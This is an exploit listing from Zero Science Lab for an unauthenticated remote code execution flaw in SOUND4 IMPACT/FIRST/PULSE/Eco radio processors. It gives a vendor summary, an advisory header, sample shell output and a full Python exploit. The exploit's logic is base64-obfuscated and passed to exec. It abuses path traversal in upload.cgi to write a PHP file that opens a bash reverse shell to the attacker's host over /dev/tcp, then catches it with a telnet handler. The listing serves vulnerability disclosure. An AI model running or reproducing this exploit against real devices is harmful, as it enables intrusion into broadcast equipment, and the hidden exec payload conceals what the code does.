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SOUND4 IMPACT/FIRST/PULSE/Eco 2.x upload.cgi Code Execution

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x upload.cgi Code Execution
Posted Dec 15, 2022
Authored by LiquidWorm | Site zeroscience.mk

SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from an unauthenticated remote code execution vulnerability in upload.cgi.

tags | exploit, remote, cgi, code execution
SHA-256 | 3c3c6d279fd591ebe7b26f14524ac53bdce85b020d4fd8b0674e18a3fd734b58

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x upload.cgi Code Execution

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#!/usr/bin/env python
#
#
# SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (upload.cgi) Unauthenticated Remote Code Execution
#
#
# Vendor: SOUND4 Ltd.
# Product web page: https://www.sound4.com | https://www.sound4.biz
# Affected version: FM/HD Radio Processing:
# Impact/Pulse/First (Version 2: 1.1/2.15)
# Impact/Pulse/First (Version 1: 2.1/1.69)
# Impact/Pulse Eco 1.16
# Voice Processing:
# BigVoice4 1.2
# BigVoice2 1.30
# Web-Audio Streaming:
# Stream 1.1/2.4.29
# Watermarking:
# WM2 (Kantar Media) 1.11
#
# Summary: The SOUND4 IMPACT introduces an innovative process - mono and
# stereo parts of the signal are processed separately to obtain perfect
# consistency in terms of both sound and level. Therefore, in moving
# reception, when the FM receiver switches from stereo to mono and back to
# stereo, the sound variations and changes in level are reduced by over 90%.
# In the SOUND4 IMPACT processing chain, the stereo expander can be used
# substantially without any limitations.
#
# With its advanced functionalities and impressive versatility, SOUND4
# PULSE gives clients the ultimate price - performance ratio, providing
# much more than just a processor. Flexible and powerful, it ensures perfect
# sound quality and full compatibility with radio broadcasting standards
# and can be used simultaneously for FM and HD, DAB, DRM or streaming.
#
# SOUND4 FIRST provides all the most important functionalities you need
# in an FM/HD processor and sets the bar high both in terms of performance
# and affordability. Designed to deliver a sound of uncompromising quality,
# this tool gives you 2-band processing, a digital stereo generator and an
# IMPACT Clipper.
#
# Desc: SOUND4 products suffer from an unauthenticated remote code execution
# vulnerability. An attacker can exploit this vulnerability by abusing the
# firmware upgrade/upload functionality, which contains a path traversal flaw.
# This allows the attacker to arbitrarily write a malicious file to a location
# on the system with www-data permissions, which can be executed to gain unauthorized
# access.
# ---------------------------------------------------------------------------
# Starting handler on port 6161.
# Writing callback file...
# Connection from 192.168.1.137:58670
# You got shell.
# id
# uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)
# exit
# *** Connection closed by remote host ***
# ---------------------------------------------------------------------------
#
# Tested on: Apache/2.4.25 (Unix)
# OpenSSL/1.0.2k
# PHP/7.1.1
# GNU/Linux 5.10.43 (armv7l)
# GNU/Linux 4.9.228 (armv7l)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2022-5741
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5741.php
#
#
# 26.09.2022
#
#

import ipaddress as irukandji#-- -----------------------------
from time import sleep#---------- ----------------------------
import threading#----------------- ---------------------------
import telnetlib#------------------ --------------------------
import requests#-------------------- -------------------------
import socket#----------------------- ------------------------
import base64#------------------------ -----------------------
import time#--------------------------- ----------------------
import sys#----------------------------- ---------------------
import re#------------------------------- --------------------
importer = "Y2xhc3MgVmlkZW9LaWxsZWRUaGV"+ "SYWRpb1N0YXI6DQog"
importer += "ICAgDQogICAgZGVmIF9faW5pdF9f"+ "KHNlbGYpOg0KICAg"
importer += "ICAgICBzZWxmLnNlY3JldGFnZW50I"+ "D0gIkRqL09sZSIN"
importer += "CiAgICAgICAgc2VsZi5wYXlsb2FkID"+ "0gTm9uZQ0KICAg"
importer += "ICAgICBzZWxmLmRlcGxveSA9IE5vbmU"+ "NCiAgICAgICAg"
importer += "c2VsZi5yaG9zdCA9IE5vbmUNCiAgICA"+ "gICAgc2VsZi5s"
importer += "aG9zdCA9IE5vbmUNCiAgICAgICAgc2"+ "VsZi5scG9ydCA9"
importer += "IE5vbmUNCg0KICAgIGRlZiB0aGVfY"+ "XJncyhzZWxmKToN"
importer += "CiAgICAgICAgaWYgbGVuKHN5cy5h"+ "cmd2KSAhPSA0Og0K"
importer += "ICAgICAgICAgICAgc2VsZi50aGV"+ "fdXNhZ2UoKQ0KICAg"
importer += "ICAgICBlbHNlOg0KICAgICAgIC"+ "AgICAgc2VsZi5yaG9z"
importer += "dCA9IHN5cy5hcmd2WzFdDQogI"+ "CAgICAgICAgICBzZWxm"
importer += "Lmxob3N0ID0gc3lzLmFyZ3Zb"+ "Ml0NCiAgICAgICAgICAg"
importer += "IHNlbGYubHBvcnQgPSBpbnQ"+ "oc3lzLmFyZ3ZbM10pDQog"
importer += "ICAgICAgICAgICBpZiBub3"+ "QgImh0dHAiIGluIHNlbGYu"
importer += "cmhvc3Q6DQogICAgICAgI"+ "CAgICAgICAgc2VsZi5yaG9z"
importer += "dCA9ICJodHRwOi8ve30i"+ "LmZvcm1hdChzZWxmLnJob3N0"
importer += "KQ0KDQogICAgZGVmIHR"+ "oZV91c2FnZShzZWxmKToNCiAg"
importer += "ICAgICAgc2VsZi50aG"+ "Vfd2hhKCkNCiAgICAgICAgcHJp"
importer += "bnQoIlVzYWdlOiBwe"+ "XRob24ge30gW3RhcmdldElQOnRh"
importer += "cmdldFBPUlRdIFts"+ "aXN0ZW5JUF0gW2xpc3RlblBPUlRd"
importer += "Ii5mb3JtYXQoc3l"+ "zLmFyZ3ZbMF0pKQ0KICAgICAgICBl"
importer += "eGl0KDApDQoNCi"+ "AgICBkZWYgdGhlX3doYShzZWxmKToN"
importer += "CiAgICAgICAgd"+ "Gl0bCA9ICIiIg0KICAgICAgICAgL1xf"
importer += "X19fX18gIF9f"+ "DQogICAgICAgIC8tfiAgICAgLF5+IC8g"
importer += "X19uDQogICA"+ "gICAgLyAsLS0teCAvXy4tIkwvX18sXFwN"
importer += "CiAgICAgIC"+ "8tIi4tLS0uXF8uLScvISIgIFwgXFwNCiAg"
importer += "ICAgIDBcL"+ "zBfX18vICAgeCcgLyAgICApIHwNCiAgICAg"
importer += "IFwuX19f"+ "X19fLi0nXy57X18uLSJfLl4NCiAgICAgICBg"
importer += "eF9fX18"+ "sLi0iLC1+KCAuLSINCiAgICAgICAgICBfLi18"
importer += "ICxeLi"+ "1+ICJcXA0KICAgICBfXy4tfl8sLXwvXC8gICAg"
importer += "IGBpD"+ "QogICAgLyB1Li1+IC4te1wvICAgICAuLV4tLS4N"
importer += "CiAg"+ "ICBcLyAgIHZ+ICwtXnguX19fX30tLXIgfA0KICAg"
importer += "ICAg"+ "ICAvIC8iICAgICAgICAgICAgfCB8DQogICAgICBf"
importer += "L18vI"+ "CAgICAgICAgICAgICAhX2xfDQogICAgb35fLy8p"
importer += "ICAgIC"+ "AgICAgICAgIChfXFxffm8NCn5+fn5+fn5+fn5+"
importer += "fn5+fn5"+ "+fn5+fn5+fn5+fn5+fn5+fn4NCiAgICAgICAg"
importer += "IiIiDQog"+ "ICAgICAgIHByaW50KHRpdGwpDQoNCiAgICBk"
importer += "ZWYgdGhl"+ "X3VwbG9hZChzZWxmKToNCiAgICAgICAgcHJp"
importer += "bnQoIldy"+ "aXRpbmcgY2FsbGJhY2sgZmlsZS4uLiIpDQog"
importer += "ICAgICAg"+ "IHNlbGYuaGVhZGVycyA9IHsiQ29udGVudC1U"
importer += "eXBlIiA6"+ "ICJtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3V"
importer += "uZGFyeT0"+ "tLS0tVGhlTWVudSIsDQogICAgICAgICAgI"
importer += "CAgICAgI"+ "CAgICAgICAiQWNjZXB0LUxhbmd1YWdlI"
importer += "iA6ICJlb"+ "i1VUyxlbjtxPTAuOSIsDQogICAgICA"
importer += "gICAgICA"+ "gICAgICAgICAgICAiQWNjZXB0LUV"
importer += "uY29kaW5"+ "nIiA6ICJnemlwLCBkZWZsYXRlI"
importer += "iwNCiAgI"+ "CAgICAgICAgICAgICAgICAgI"
importer += "CAgICJVc"+ "2VyLUFnZW50IiA6IHNlbGY"
importer += "uc2VjcmV"+ "0YWdlbnQsDQogICAgICA"
importer += "gICAgICAg"+ "ICAgICAgICAgICAiQ2Fj"
importer += "aGUtQ29udH"+ "JvbCIgOiAibWF4LWFnZT"
importer += "0wIiwgDQogI"+ "CAgICAgICAgICAgICAgI"
importer += "CAgICAgICAiQ2"+ "9ubmVjdGlvbiIgOiAiY2"
importer += "xvc2UiLA0KICAgI"+ "CAgICAgICAgICAgICAgI"
importer += "CAgICAgIkFjY2VwdC"+ "IgOiAiKi8qIn0NCiAgIC"
importer += "ANCiAgICAgICAgc2VsZ"+ "i5wYXlsb2FkID0gIjw/c"
importer += "GhwIGV4ZWMoXCIvYmluL2"+ "Jhc2ggLWMgJ2Jhc2ggLWk"
importer += "gPiAvZGV2L3RjcC8iK3Nlb"+ "GYubGhvc3QrIi8iK3N0cih"
importer += "zZWxmLmxwb3J0KSsiIDwmM"+ "TtybSBiLnBocCdcIik7Ig0"
importer += "KDQogICAgICAgIHNlbGYuZ"+ "GVwbG95ICA9ICItLS0tLS1"
importer += "UaGVNZW51XHJcbkNvbnRlbn"+ "QtRGlzcG9zaXRpb246IGZ"
importer += "vcm0tZGF0YTsiI3VzDQogICA"+ "gICAgIHNlbGYuZGVwbG9"
importer += "5ICs9ICIgbmFtZT1cInVwZ2Zp"+ "bGVcIjsgZmlsZW5hbWU"
importer += "9XCIuLi8uLi8uLi8uLi8uLi8uL"+ "i8iI01lDQogICAgICA"
importer += "gIHNlbGYuZGVwbG95ICs9ICIuLi"+ "92YXIvd3d3L2IucGh"
importer += "wXCJcclxuQ29udGVudC1UeXBlOiB"+ "hcHBsaWNhdGlvbi8"
importer += "iI2NvDQogICAgICAgIHNlbGYuZGVw"+ "bG95ICs9ICJvY3R"
importer += "ldC1zdHJlYW1cclxuXHJcbiIrc2VsZ"+ "i5wYXlsb2FkKyJ"
importer += "cclxuLS0tLS0tVGgiIy4uDQogICAgIC"+ "AgIHNlbGYuZGV"
importer += "wbG95ICs9ICJlTWVudVxyXG5Db250ZW5"+ "0LURpc3Bvc2l"
importer += "0aW9uOiBmb3JtLWRhdGE7IG5hbWU9XCIi"+ "I24NCiAgICA"
importer += "gICAgc2VsZi5kZXBsb3kgKz0gInN1Ym1pd"+ "FwiXHJcblx"
importer += "yXG5EbyBpdFxyXG4tLS0tLS1UaGVNZW51LS"+ "1cclxuIiM"
importer += "tLS0tLS0NCiAgICANCiAgICAgICAgcmVxdWV"+ "zdHMucG9"
importer += "zdChzZWxmLnJob3N0KyIvY2dpLWJpbi91cGxv"+ "YWQuY2d"
importer += "pIiwgaGVhZGVycz1zZWxmLmhlYWRlcnMsIGRhd"+ "GE9c2V"
importer += "sZi5kZXBsb3kpDQogICAgICAgIHNsZWVwKDEpIC"+ "ANCiA"
importer += "gICAgICAgcmVxdWVzdHMuZ2V0KHNlbGYucmhvc3Q"+ "rIi9"
importer += "iLnBocCIpDQoNCiAgICBkZWYgdGhlX3N1YnAoc2Vs"+ "Zik"
importer += "6DQogICAgICAgIGtvbmFjID0gdGhyZWFkaW5nLlRoc"+ "mV"
importer += "hZChuYW1lPSJaU0wiLCB0YXJnZXQ9c2VsZi50aGVfZW"+ "F"
importer += "yKQ0KICAgICAgICBrb25hYy5zdGFydCgpDQogICAgIC"+ "A"
importer += "gIHNsZWVwKDEpDQogICAgICAgIHNlbGYudGhlX3VwbG"+ "9"
importer += "hZCgpDQoNCiAgICBkZWYgdGhlX2VhcihzZWxmKToNC"+ "iA"
importer += "gICAgICAgdGVsbmV0dXMgPSB0ZWxuZXRsaWIuVGVs"+ "bmV"
importer += "0KCkNCiAgICAgICAgcHJpbnQoIlN0YXJ0aW5nIGh"+ "hbmR"
importer += "sZXIgb24gcG9ydCB7fS4iLmZvcm1hdChzZWxmLm"+ "xwb3J"
importer += "0KSkNCiAgICAgICAgcyA9IHNvY2tldC5zb2NrZ"+ "XQoc29"
importer += "ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NU"+ "UkVBTSk"
importer += "NCiAgICAgICAgcy5iaW5kKCgiMC4wLjAuMCI"+ "sIHNlbGY"
importer += "ubHBvcnQpKQ0KICAgICAgICB3aGlsZSBUcn"+ "VlOg0KICA"
importer += "gICAgICAgICAgdHJ5Og0KICAgICAgICAgI"+ "CAgICAgIHM"
importer += "uc2V0dGltZW91dCg3KQ0KICAgICAgICAg"+ "ICAgICAgIHM"
importer += "ubGlzdGVuKDEpDQogICAgICAgICAgICA"+ "gICAgY29ubiw"
importer += "gYWRkciA9IHMuYWNjZXB0KCkNCiAgIC"+ "AgICAgICAgICA"
importer += "gICBwcmludCgiQ29ubmVjdGlvbiBmc"+ "m9tIHt9Ont9Ii5"
importer += "mb3JtYXQoYWRkclswXSwgYWRkclsx"+ "XSkpDQogICAgICA"
importer += "gICAgICAgICAgdGVsbmV0dXMuc29"+ "jayA9IGNvbm4NCiA"
importer += "gICAgICAgICAgIGV4Y2VwdCBzb2"+ "NrZXQudGltZW91dCB"
importer += "hcyBwOg0KICAgICAgICAgICAgI"+ "CAgIHByaW50KCJIbW1"
importer += "tICh7bXNnfSkiLmZvcm1hdCht"+ "c2c9cCkpDQogICAgICA"
importer += "gICAgICAgICAgcy5jbG9zZSg"+ "pDQogICAgICAgICAgICA"
importer += "gICAgZXhpdCgwKQ0KICAgIC"+ "AgICAgICAgYnJlYWsNCg0"
importer += "KICAgICAgICBwcmludCgiW"+ "W91IGdvdCBzaGVsbC4iKQ0"
importer += "KICAgICAgICB0ZWxuZXR1"+ "cy5pbnRlcmFjdCgpDQogICA"
importer += "gICAgIGNvbm4uY2xvc2U"+ "oKQ0KDQogICAgZGVmIG1haW4"
importer += "oc2VsZik6DQogICAgIC"+ "AgIHNlbGYudGhlX2FyZ3MoKQ0"
importer += "KICAgICAgICBzZWxmL"+ "nRoZV9zdWJwKCkNCg0KaWYgX19"
importer += "uYW1lX18gPT0gJ19f"+ "bWFpbl9fJzoNCiAgICBWaWRlb0t"
importer += "pbGxlZFRoZVJhZGl"+ "vU3RhcigpLm1haW4oKQ0K"######"
retropmi = "U2VjdXJpdHkgaXM"+ "gbGlrZSBhbiBvbmlvbjogdGhlIG1v"
retropmi += "cmUgbGF5ZXJzIH"+ "lvdSBwZWVsLCB0aGUgbW9yZSBpdCBz"
retropmi += "dGlua3Mu"####"+ "###############################"

radio_code = base64.b64decode(importer)

curves = [ord(c) for c in retropmi]

maxi = max(curves)
mini = min(curves)
code_range = maxi - mini

jcoords = [int(20 * (1 - (codeio - mini) / code_range)) for codeio in curves]

for y in range(20, 0, -1):
line = ""
for x in range(len(jcoords)):
if jcoords[x] >= y:
line += "-"
else:
line += " "
print(line)
time.sleep(0.03/1.337)

exec(radio_code)
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